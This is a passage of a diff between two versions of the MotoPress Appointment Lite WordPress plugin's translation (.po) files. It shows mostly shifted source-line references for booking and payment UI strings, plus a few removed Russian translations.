includes\u002Felementor\u002Fwidgets\u002FEmployeeContactsWidget.php:35\n+#: includes\u002Felementor\u002Fwidgets\u002FEmployeeContentWidget.php:35\n+#: includes\u002Felementor\u002Fwidgets\u002FEmployeeImageWidget.php:35\n+#: includes\u002Felementor\u002Fwidgets\u002FEmployeeScheduleWidget.php:35\n+#: includes\u002Felementor\u002Fwidgets\u002FEmployeeServicesListWidget.php:35\n+#: includes\u002Felementor\u002Fwidgets\u002FEmployeesListWidget.php:36\n+#: includes\u002Felementor\u002Fwidgets\u002FEmployeeSocialNetworksWidget.php:36\n+#: includes\u002Felementor\u002Fwidgets\u002FEmployeeTitleWidget.php:36\n+#: includes\u002Felementor\u002Fwidgets\u002FLocationsListWidget.php:36\n+#: includes\u002Felementor\u002Fwidgets\u002FServiceCategoriesWidget.php:35\n+#: includes\u002Felementor\u002Fwidgets\u002FServicesListWidget.php:35\n+#: includes\u002Fmetaboxes\u002Fnotification\u002FNotificationSettingsMetabox.php:26\n+#: templates\u002Fprivate\u002Fpages\u002Fwizard.php:12\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:3245\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:11507\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:11802\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12088\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12406\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12687\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12810\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12933\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:13056\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:13179\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:13302\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:13425\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:13548\n+msgid \"Settings\"\n+msgstr \"\"\n+\n #: includes\u002Felementor\u002Fwidgets\u002FAppointmentFormWidget.php:202\n #: includes\u002Fmetaboxes\u002Fshortcode\u002FAppointmentFormLabelsMetabox.php:75\n #: includes\u002Fshortcodes\u002FAppointmentFormShortcode.php:98\n@@ -2464,7 +2454,7 @@\n #: includes\u002Felementor\u002Fwidgets\u002FServiceCategoriesWidget.php:105\n #: includes\u002Fmetaboxes\u002Fshortcode\u002FServiceCategoriesMetabox.php:75\n #: includes\u002Fshortcodes\u002FServiceCategoriesShortcode.php:74\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12142\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12143\n msgid \"Hide terms not assigned to any posts.\"\n msgstr \"\"\n \n@@ -2722,10 +2712,10 @@\n #: includes\u002Femails\u002Ftags\u002Fbooking\u002FBookingLeftToPayTag.php:19\n #: templates\u002Femails\u002Fadmin\u002Fadmin-approved-booking-email.php:29\n #: templates\u002Femails\u002Fcustomer\u002Fcustomer-approved-payment-email.php:24\n-#: assets\u002Fjs\u002Fdivi-modules.js:6018\n-#: assets\u002Fjs\u002Felementor-widgets.js:6018\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:6457\n-#: assets\u002Fjs\u002Fpublic.js:6018\n+#: assets\u002Fjs\u002Fdivi-modules.js:6019\n+#: assets\u002Fjs\u002Felementor-widgets.js:6019\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:6458\n+#: assets\u002Fjs\u002Fpublic.js:6019\n msgid \"Left to pay\"\n msgstr \"\"\n \n@@ -2945,11 +2935,11 @@\n #: templates\u002Fshortcodes\u002Fbooking\u002Fstep-cart.php:48\n #: templates\u002Fshortcodes\u002Ftemplate-parts\u002Fbooking-details.php:51\n #: assets\u002Fjs\u002Fcalendar-page.js:38070\n-#: assets\u002Fjs\u002Fdivi-modules.js:2858\n-#: assets\u002Fjs\u002Fedit-post.js:4314\n-#: assets\u002Fjs\u002Felementor-widgets.js:2858\n+#: assets\u002Fjs\u002Fdivi-modules.js:2859\n+#: assets\u002Fjs\u002Fedit-post.js:4315\n+#: assets\u002Fjs\u002Felementor-widgets.js:2859\n #: assets\u002Fjs\u002Fgutenberg-blocks.js:431\n-#: assets\u002Fjs\u002Fpublic.js:2858\n+#: assets\u002Fjs\u002Fpublic.js:2859\n #: assets\u002Fjs\u002Fwidgets-manage-page.js:300\n msgid \"Clients\"\n msgstr \"\"\n@@ -3011,13 +3001,13 @@\n #: includes\u002Ffields\u002Fcomplex\u002FTimetableField.php:313\n #: includes\u002Fstructures\u002FTimePeriod.php:294\n #: assets\u002Fjs\u002Fcalendar-page.js:38145\n-#: assets\u002Fjs\u002Fdivi-modules.js:3569\n+#: assets\u002Fjs\u002Fdivi-modules.js:3570\n #: assets\u002Fjs\u002Fedit-post.js:2101\n-#: assets\u002Fjs\u002Fedit-post.js:4846\n-#: assets\u002Fjs\u002Fedit-post.js:8800\n-#: assets\u002Fjs\u002Felementor-widgets.js:3569\n+#: assets\u002Fjs\u002Fedit-post.js:4847\n+#: assets\u002Fjs\u002Fedit-post.js:8801\n+#: assets\u002Fjs\u002Felementor-widgets.js:3570\n #: assets\u002Fjs\u002Fgutenberg-blocks.js:1855\n-#: assets\u002Fjs\u002Fpublic.js:3569\n+#: assets\u002Fjs\u002Fpublic.js:3570\n #: assets\u002Fjs\u002Fwidgets-manage-page.js:1620\n msgid \"All day\"\n msgstr \"\"\n@@ -3026,12 +3016,12 @@\n #: includes\u002Ffields\u002Fcomplex\u002FDaysOffField.php:100\n #: templates\u002Fshortcodes\u002Fbooking\u002Fcart\u002Fadmin-cart-item.php:113\n #: templates\u002Fshortcodes\u002Fbooking\u002Fstep-cart.php:72\n-#: assets\u002Fjs\u002Fdivi-modules.js:5975\n+#: assets\u002Fjs\u002Fdivi-modules.js:5976\n #: assets\u002Fjs\u002Fedit-post.js:2051\n #: assets\u002Fjs\u002Fedit-post.js:2283\n-#: assets\u002Fjs\u002Felementor-widgets.js:5975\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:6414\n-#: assets\u002Fjs\u002Fpublic.js:5975\n+#: assets\u002Fjs\u002Felementor-widgets.js:5976\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:6415\n+#: assets\u002Fjs\u002Fpublic.js:5976\n msgid \"Remove\"\n msgstr \"\"\n \n@@ -3138,7 +3128,7 @@\n \n #. Translators: %s: Location name, like \"Barbershop\".\n #: includes\u002Ffields\u002Fcomplex\u002FTimetableField.php:241\n-#: assets\u002Fjs\u002Fedit-post.js:8815\n+#: assets\u002Fjs\u002Fedit-post.js:8816\n #, php-format,js-format\n msgctxt \"Working at %s\"\n msgid \"at %s\"\n@@ -3464,11 +3454,11 @@\n \n #: includes\u002Fhelpers\u002FPriceCalculationHelper.php:50\n #: includes\u002Fhelpers\u002FPriceCalculationHelper.php:122\n-#: assets\u002Fjs\u002Fdivi-modules.js:6056\n+#: assets\u002Fjs\u002Fdivi-modules.js:6057\n #: assets\u002Fjs\u002Fedit-post.js:1602\n-#: assets\u002Fjs\u002Felementor-widgets.js:6056\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:6495\n-#: assets\u002Fjs\u002Fpublic.js:6056\n+#: assets\u002Fjs\u002Felementor-widgets.js:6057\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:6496\n+#: assets\u002Fjs\u002Fpublic.js:6057\n msgctxt \"Zero price\"\n msgid \"Free\"\n msgstr \"\"\n@@ -3553,33 +3543,33 @@\n msgid \"You can add a new log message here and press Update to save it\"\n msgstr \"\"\n \n-#: includes\u002Fmetaboxes\u002Fbooking\u002FBookingPriceMetabox.php:49\n+#: includes\u002Fmetaboxes\u002Fbooking\u002FBookingPriceMetabox.php:50\n #: includes\u002Fpost-types\u002FCouponPostType.php:60\n #: templates\u002Fshortcodes\u002Fbooking\u002Fsections\u002Fcoupon-section.php:14\n msgid \"Coupon\"\n msgstr \"\"\n \n-#: includes\u002Fmetaboxes\u002Fbooking\u002FBookingPriceMetabox.php:55\n+#: includes\u002Fmetaboxes\u002Fbooking\u002FBookingPriceMetabox.php:56\n msgid \"Reserved Services\"\n msgstr \"\"\n \n-#: includes\u002Fmetaboxes\u002Fbooking\u002FBookingPriceMetabox.php:59\n+#: includes\u002Fmetaboxes\u002Fbooking\u002FBookingPriceMetabox.php:60\n #: includes\u002Fmetaboxes\u002Fpayment\u002FPaymentDetailsMetabox.php:38\n msgid \"Payment Details\"\n msgstr \"\"\n \n-#: includes\u002Fmetaboxes\u002Fbooking\u002FBookingPriceMetabox.php:65\n+#: includes\u002Fmetaboxes\u002Fbooking\u002FBookingPriceMetabox.php:66\n msgid \"Booking Price\"\n msgstr \"\"\n \n #. Translators: %d: Booking ID.\n-#: includes\u002Fmetaboxes\u002Fbooking\u002FBookingPriceMetabox.php:141\n+#: includes\u002Fmetaboxes\u002Fbooking\u002FBookingPriceMetabox.php:142\n #: includes\u002Frepositories\u002FBookingRepository.php:113\n #, php-format\n msgid \"Booking #%d\"\n msgstr \"\"\n \n-#: includes\u002Fmetaboxes\u002Fbooking\u002FBookingPriceMetabox.php:186\n+#: includes\u002Fmetaboxes\u002Fbooking\u002FBookingPriceMetabox.php:187\n #: includes\u002Frest\u002Fcontrollers\u002Fmotopress\u002Fappointment\u002Fv1\u002FBookingsRestController.php:144\n #: includes\u002Frest\u002Fcontrollers\u002Fmotopress\u002Fappointment\u002Fv1\u002FBookingsRestController.php:295\n msgid \"Sorry, the selected time slot is already booked.\"\n@@ -5483,10 +5473,10 @@\n msgstr \"\"\n \n #: templates\u002Fshortcodes\u002Fbooking\u002Fstep-booking.php:24\n-#: assets\u002Fjs\u002Fdivi-modules.js:5645\n-#: assets\u002Fjs\u002Felementor-widgets.js:5645\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:6084\n-#: assets\u002Fjs\u002Fpublic.js:5645\n+#: assets\u002Fjs\u002Fdivi-modules.js:5646\n+#: assets\u002Fjs\u002Felementor-widgets.js:5646\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:6085\n+#: assets\u002Fjs\u002Fpublic.js:5646\n msgid \"Making a reservation...\"\n msgstr \"\"\n \n@@ -6199,203 +6189,203 @@\n msgstr \"\"\n \n #: assets\u002Fjs\u002Fcustomers-page.js:497\n-#: assets\u002Fjs\u002Fdivi-modules.js:6650\n+#: assets\u002Fjs\u002Fdivi-modules.js:6651\n #: assets\u002Fjs\u002Fedit-post.js:1100\n-#: assets\u002Fjs\u002Felementor-widgets.js:6650\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:7089\n-#: assets\u002Fjs\u002Fpublic.js:6650\n+#: assets\u002Fjs\u002Felementor-widgets.js:6651\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:7090\n+#: assets\u002Fjs\u002Fpublic.js:6651\n #: assets\u002Fjs\u002Fsettings-page.js:685\n #: assets\u002Fjs\u002Fwidgets-manage-page.js:2911\n msgid \"Phone number is invalid.\"\n msgstr \"\"\n \n-#: assets\u002Fjs\u002Fdivi-modules.js:5749\n-#: assets\u002Fjs\u002Fdivi-modules.js:7633\n-#: assets\u002Fjs\u002Felementor-widgets.js:5749\n-#: assets\u002Fjs\u002Felementor-widgets.js:7633\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:6188\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:8072\n-#: assets\u002Fjs\u002Fpublic.js:5749\n-#: assets\u002Fjs\u002Fpublic.js:7633\n+#: assets\u002Fjs\u002Fdivi-modules.js:5750\n+#: assets\u002Fjs\u002Fdivi-modules.js:7634\n+#: assets\u002Fjs\u002Felementor-widgets.js:5750\n+#: assets\u002Fjs\u002Felementor-widgets.js:7634\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:6189\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:8073\n+#: assets\u002Fjs\u002Fpublic.js:5750\n+#: assets\u002Fjs\u002Fpublic.js:7634\n msgid \"You will be redirected to a secure page to complete the payment.\"\n msgstr \"\"\n \n-#: assets\u002Fjs\u002Fdivi-modules.js:5960\n-#: assets\u002Fjs\u002Felementor-widgets.js:5960\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:6399\n-#: assets\u002Fjs\u002Fpublic.js:5960\n+#: assets\u002Fjs\u002Fdivi-modules.js:5961\n+#: assets\u002Fjs\u002Felementor-widgets.js:5961\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:6400\n+#: assets\u002Fjs\u002Fpublic.js:5961\n msgid \"Subtotal\"\n msgstr \"\"\n \n #. Translators: %s: Coupon code.\n-#: assets\u002Fjs\u002Fdivi-modules.js:5970\n-#: assets\u002Fjs\u002Felementor-widgets.js:5970\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:6409\n-#: assets\u002Fjs\u002Fpublic.js:5970\n+#: assets\u002Fjs\u002Fdivi-modules.js:5971\n+#: assets\u002Fjs\u002Felementor-widgets.js:5971\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:6410\n+#: assets\u002Fjs\u002Fpublic.js:5971\n #, js-format\n msgid \"Coupon: %s\"\n msgstr \"\"\n \n-#: assets\u002Fjs\u002Fdivi-modules.js:5982\n-#: assets\u002Fjs\u002Fdivi-modules.js:8135\n-#: assets\u002Fjs\u002Fdivi-modules.js:8650\n-#: assets\u002Fjs\u002Felementor-widgets.js:5982\n-#: assets\u002Fjs\u002Felementor-widgets.js:8135\n-#: assets\u002Fjs\u002Felementor-widgets.js:8650\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:6421\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:8574\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:9089\n-#: assets\u002Fjs\u002Fpublic.js:5982\n-#: assets\u002Fjs\u002Fpublic.js:8135\n-#: assets\u002Fjs\u002Fpublic.js:8650\n+#: assets\u002Fjs\u002Fdivi-modules.js:5983\n+#: assets\u002Fjs\u002Fdivi-modules.js:8136\n+#: assets\u002Fjs\u002Fdivi-modules.js:8651\n+#: assets\u002Fjs\u002Felementor-widgets.js:5983\n+#: assets\u002Fjs\u002Felementor-widgets.js:8136\n+#: assets\u002Fjs\u002Felementor-widgets.js:8651\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:6422\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:8575\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:9090\n+#: assets\u002Fjs\u002Fpublic.js:5983\n+#: assets\u002Fjs\u002Fpublic.js:8136\n+#: assets\u002Fjs\u002Fpublic.js:8651\n msgid \"Total\"\n msgstr \"\"\n \n-#: assets\u002Fjs\u002Fdivi-modules.js:6005\n-#: assets\u002Fjs\u002Felementor-widgets.js:6005\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:6444\n-#: assets\u002Fjs\u002Fpublic.js:6005\n+#: assets\u002Fjs\u002Fdivi-modules.js:6006\n+#: assets\u002Fjs\u002Felementor-widgets.js:6006\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:6445\n+#: assets\u002Fjs\u002Fpublic.js:6006\n msgid \"Deposit\"\n msgstr \"\"\n \n-#: assets\u002Fjs\u002Fdivi-modules.js:6010\n-#: assets\u002Fjs\u002Felementor-widgets.js:6010\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:6449\n-#: assets\u002Fjs\u002Fpublic.js:6010\n+#: assets\u002Fjs\u002Fdivi-modules.js:6011\n+#: assets\u002Fjs\u002Felementor-widgets.js:6011\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:6450\n+#: assets\u002Fjs\u002Fpublic.js:6011\n msgid \"Paying now\"\n msgstr \"\"\n \n-#: assets\u002Fjs\u002Fdivi-modules.js:6548\n-#: assets\u002Fjs\u002Felementor-widgets.js:6548\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:6987\n-#: assets\u002Fjs\u002Fpublic.js:6548\n+#: assets\u002Fjs\u002Fdivi-modules.js:6549\n+#: assets\u002Fjs\u002Felementor-widgets.js:6549\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:6988\n+#: assets\u002Fjs\u002Fpublic.js:6549\n msgid \"Coupon code is empty.\"\n msgstr \"\"\n \n-#: assets\u002Fjs\u002Fdivi-modules.js:6557\n-#: assets\u002Fjs\u002Felementor-widgets.js:6557\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:6996\n-#: assets\u002Fjs\u002Fpublic.js:6557\n+#: assets\u002Fjs\u002Fdivi-modules.js:6558\n+#: assets\u002Fjs\u002Felementor-widgets.js:6558\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:6997\n+#: assets\u002Fjs\u002Fpublic.js:6558\n msgid \"Coupon code applied successfully.\"\n msgstr \"\"\n \n-#: assets\u002Fjs\u002Fdivi-modules.js:6559\n-#: assets\u002Fjs\u002Felementor-widgets.js:6559\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:6998\n-#: assets\u002Fjs\u002Fpublic.js:6559\n+#: assets\u002Fjs\u002Fdivi-modules.js:6560\n+#: assets\u002Fjs\u002Felementor-widgets.js:6560\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:6999\n+#: assets\u002Fjs\u002Fpublic.js:6560\n msgid \"Sorry, your booking is not eligible for this coupon.\"\n msgstr \"\"\n \n #. Translators: %s: Business name.\n-#: assets\u002Fjs\u002Fdivi-modules.js:7563\n-#: assets\u002Fjs\u002Felementor-widgets.js:7563\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:8002\n-#: assets\u002Fjs\u002Fpublic.js:7563\n+#: assets\u002Fjs\u002Fdivi-modules.js:7564\n+#: assets\u002Fjs\u002Felementor-widgets.js:7564\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:8003\n+#: assets\u002Fjs\u002Fpublic.js:7564\n #, js-format\n msgid \"By providing your IBAN and confirming this payment, you authorise (A) %s and Stripe, our payment service provider, to send instructions to your bank to debit your account and (B) your bank to debit your account in accordance with those instructions. You are entitled to a refund from your bank under the terms and conditions of your agreement with your bank. A refund must be claimed within 8 weeks starting from the date on which your account was debited.\"\n msgstr \"\"\n \n-#: assets\u002Fjs\u002Fdivi-modules.js:7584\n-#: assets\u002Fjs\u002Felementor-widgets.js:7584\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:8023\n-#: assets\u002Fjs\u002Fpublic.js:7584\n+#: assets\u002Fjs\u002Fdivi-modules.js:7585\n+#: assets\u002Fjs\u002Felementor-widgets.js:7585\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:8024\n+#: assets\u002Fjs\u002Fpublic.js:7585\n msgid \"Credit or debit card\"\n msgstr \"\"\n \n-#: assets\u002Fjs\u002Fdivi-modules.js:7588\n-#: assets\u002Fjs\u002Felementor-widgets.js:7588\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:8027\n-#: assets\u002Fjs\u002Fpublic.js:7588\n+#: assets\u002Fjs\u002Fdivi-modules.js:7589\n+#: assets\u002Fjs\u002Felementor-widgets.js:7589\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:8028\n+#: assets\u002Fjs\u002Fpublic.js:7589\n msgid \"or\"\n msgstr \"\"\n \n-#: assets\u002Fjs\u002Fdivi-modules.js:7603\n-#: assets\u002Fjs\u002Felementor-widgets.js:7603\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:8042\n-#: assets\u002Fjs\u002Fpublic.js:7603\n+#: assets\u002Fjs\u002Fdivi-modules.js:7604\n+#: assets\u002Fjs\u002Felementor-widgets.js:7604\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:8043\n+#: assets\u002Fjs\u002Fpublic.js:7604\n msgid \"Select iDEAL Bank\"\n msgstr \"\"\n \n-#: assets\u002Fjs\u002Fdivi-modules.js:7618\n-#: assets\u002Fjs\u002Felementor-widgets.js:7618\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:8057\n-#: assets\u002Fjs\u002Fpublic.js:7618\n+#: assets\u002Fjs\u002Fdivi-modules.js:7619\n+#: assets\u002Fjs\u002Felementor-widgets.js:7619\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:8058\n+#: assets\u002Fjs\u002Fpublic.js:7619\n msgid \"IBAN\"\n msgstr \"\"\n \n-#: assets\u002Fjs\u002Fdivi-modules.js:7882\n-#: assets\u002Fjs\u002Felementor-widgets.js:7882\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:8321\n-#: assets\u002Fjs\u002Fpublic.js:7882\n+#: assets\u002Fjs\u002Fdivi-modules.js:7883\n+#: assets\u002Fjs\u002Felementor-widgets.js:7883\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:8322\n+#: assets\u002Fjs\u002Fpublic.js:7883\n msgid \"Payment methods\"\n msgstr \"\"\n \n-#: assets\u002Fjs\u002Fdivi-modules.js:8094\n-#: assets\u002Fjs\u002Felementor-widgets.js:8094\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:8533\n-#: assets\u002Fjs\u002Fpublic.js:8094\n+#: assets\u002Fjs\u002Fdivi-modules.js:8095\n+#: assets\u002Fjs\u002Felementor-widgets.js:8095\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:8534\n+#: assets\u002Fjs\u002Fpublic.js:8095\n msgid \"Card\"\n msgstr \"\"\n \n-#: assets\u002Fjs\u002Fdivi-modules.js:8349\n-#: assets\u002Fjs\u002Felementor-widgets.js:8349\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:8788\n-#: assets\u002Fjs\u002Fpublic.js:8349\n+#: assets\u002Fjs\u002Fdivi-modules.js:8350\n+#: assets\u002Fjs\u002Felementor-widgets.js:8350\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:8789\n+#: assets\u002Fjs\u002Fpublic.js:8350\n msgid \"SEPA Direct Debit\"\n msgstr \"\"\n \n-#: assets\u002Fjs\u002Fdivi-modules.js:8384\n-#: assets\u002Fjs\u002Felementor-widgets.js:8384\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:8823\n-#: assets\u002Fjs\u002Fpublic.js:8384\n+#: assets\u002Fjs\u002Fdivi-modules.js:8385\n+#: assets\u002Fjs\u002Felementor-widgets.js:8385\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:8824\n+#: assets\u002Fjs\u002Fpublic.js:8385\n msgid \"Bancontact\"\n msgstr \"\"\n \n-#: assets\u002Fjs\u002Fdivi-modules.js:8411\n-#: assets\u002Fjs\u002Felementor-widgets.js:8411\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:8850\n-#: assets\u002Fjs\u002Fpublic.js:8411\n+#: assets\u002Fjs\u002Fdivi-modules.js:8412\n+#: assets\u002Fjs\u002Felementor-widgets.js:8412\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:8851\n+#: assets\u002Fjs\u002Fpublic.js:8412\n msgid \"iDEAL\"\n msgstr \"\"\n \n-#: assets\u002Fjs\u002Fdivi-modules.js:8449\n-#: assets\u002Fjs\u002Felementor-widgets.js:8449\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:8888\n-#: assets\u002Fjs\u002Fpublic.js:8449\n+#: assets\u002Fjs\u002Fdivi-modules.js:8450\n+#: assets\u002Fjs\u002Felementor-widgets.js:8450\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:8889\n+#: assets\u002Fjs\u002Fpublic.js:8450\n msgid \"Giropay\"\n msgstr \"\"\n \n-#: assets\u002Fjs\u002Fdivi-modules.js:8476\n-#: assets\u002Fjs\u002Felementor-widgets.js:8476\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:8915\n-#: assets\u002Fjs\u002Fpublic.js:8476\n+#: assets\u002Fjs\u002Fdivi-modules.js:8477\n+#: assets\u002Fjs\u002Felementor-widgets.js:8477\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:8916\n+#: assets\u002Fjs\u002Fpublic.js:8477\n msgid \"SOFORT\"\n msgstr \"\"\n \n-#: assets\u002Fjs\u002Fdivi-modules.js:10130\n-#: assets\u002Fjs\u002Fedit-post.js:7677\n-#: assets\u002Fjs\u002Felementor-widgets.js:10130\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:10569\n-#: assets\u002Fjs\u002Fpublic.js:10130\n+#: assets\u002Fjs\u002Fdivi-modules.js:10131\n+#: assets\u002Fjs\u002Fedit-post.js:7678\n+#: assets\u002Fjs\u002Felementor-widgets.js:10131\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:10570\n+#: assets\u002Fjs\u002Fpublic.js:10131\n msgid \"Sorry, but we were unable to allocate time slots for the date you selected.\"\n msgstr \"\"\n \n-#: assets\u002Fjs\u002Fdivi-modules.js:10777\n-#: assets\u002Fjs\u002Felementor-widgets.js:10777\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:11216\n-#: assets\u002Fjs\u002Fpublic.js:10777\n+#: assets\u002Fjs\u002Fdivi-modules.js:10778\n+#: assets\u002Fjs\u002Felementor-widgets.js:10778\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:11217\n+#: assets\u002Fjs\u002Fpublic.js:10778\n msgid \"Sorry, there are no services, employees or locations to book.\"\n msgstr \"\"\n \n #. Translators: %s: Checkbox label.\n-#: assets\u002Fjs\u002Fedit-post.js:9005\n+#: assets\u002Fjs\u002Fedit-post.js:9006\n #: assets\u002Fjs\u002Fgutenberg-blocks.js:3220\n #: assets\u002Fjs\u002Fwidgets-manage-page.js:2976\n #, js-format\n msgid \"To enable this option, you need to check the '%s' box.\"\n msgstr \"\"\n \n-#: assets\u002Fjs\u002Fedit-post.js:9006\n+#: assets\u002Fjs\u002Fedit-post.js:9007\n #: assets\u002Fjs\u002Fgutenberg-blocks.js:3238\n #: assets\u002Fjs\u002Fwidgets-manage-page.js:2977\n msgid \"To enable booking for the specific service only, select the service below first, then uncheck the 'Service' box here.\"\n@@ -6405,18 +6395,18 @@\n msgid \"Colors\"\n msgstr \"\"\n \n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:11400\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:11710\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:11981\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12284\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12638\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12761\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12884\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:13007\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:13130\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:13253\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:13376\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:13499\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:13622\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:11401\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:11711\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:11982\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12285\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12639\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12762\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12885\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:13008\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:13131\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:13254\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:13377\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:13500\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:13623\n msgid \"appointment\"\n msgstr \"\"\nBinary files \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fmotopress-appointment-lite\u002F2.4.5\u002Flanguages\u002Fmotopress-appointment-ru_RU.mo and \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fmotopress-appointment-lite\u002F2.4.6\u002Flanguages\u002Fmotopress-appointment-ru_RU.mo differ\ndiff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fmotopress-appointment-lite\u002F2.4.5\u002Flanguages\u002Fmotopress-appointment-ru_RU.po \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fmotopress-appointment-lite\u002F2.4.6\u002Flanguages\u002Fmotopress-appointment-ru_RU.po\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fmotopress-appointment-lite\u002F2.4.5\u002Flanguages\u002Fmotopress-appointment-ru_RU.po\t2026-06-23 11:36:52.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fmotopress-appointment-lite\u002F2.4.6\u002Flanguages\u002Fmotopress-appointment-ru_RU.po\t2026-06-30 15:16:08.000000000 +0000\n@@ -176,16 +176,6 @@\n msgid \"Help\"\n msgstr \"\"\n \n-#: includes\u002Fadmin-pages\u002Fcustom\u002FSettingsPage.php:199\n-msgid \"Settings saved.\"\n-msgstr \"Настройки сохранены\"\n-\n-#: includes\u002Fadmin-pages\u002Fcustom\u002FSettingsPage.php:265\n-msgid \"Save Changes\"\n-msgstr \"Сохранить изменения\"\n-\n-#: includes\u002Fadmin-pages\u002Fcustom\u002FSettingsPage.php:400\n-#: includes\u002Fadmin-pages\u002Fcustom\u002FSettingsPage.php:409\n #: includes\u002Felementor\u002Fwidgets\u002FAppointmentFormWidget.php:71\n #: includes\u002Felementor\u002Fwidgets\u002FEmployeeAdditionalInfoWidget.php:35\n #: 